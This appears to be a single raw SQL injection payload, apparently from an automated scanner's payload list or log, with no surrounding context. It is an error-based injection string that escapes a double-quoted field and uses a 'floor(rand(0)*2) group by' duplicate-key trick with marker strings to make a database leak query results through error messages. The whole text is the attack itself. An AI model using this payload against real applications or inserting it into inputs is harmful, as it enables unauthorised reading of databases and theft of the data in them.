1" and row   (   6237,7469   )   >   (   select count   (   *   )   ,concat   (   0x7171706a71,   (   select    (   elt   (   6237   =   6237,1    )      )       )   ,0x717a767a71,floor   (   rand   (   0   )   *2    )      )    x from    (   select 5192 union select 3785 union select 3931 union select 7158   )   a group by x   )    and "nzgn"   =   "nzgn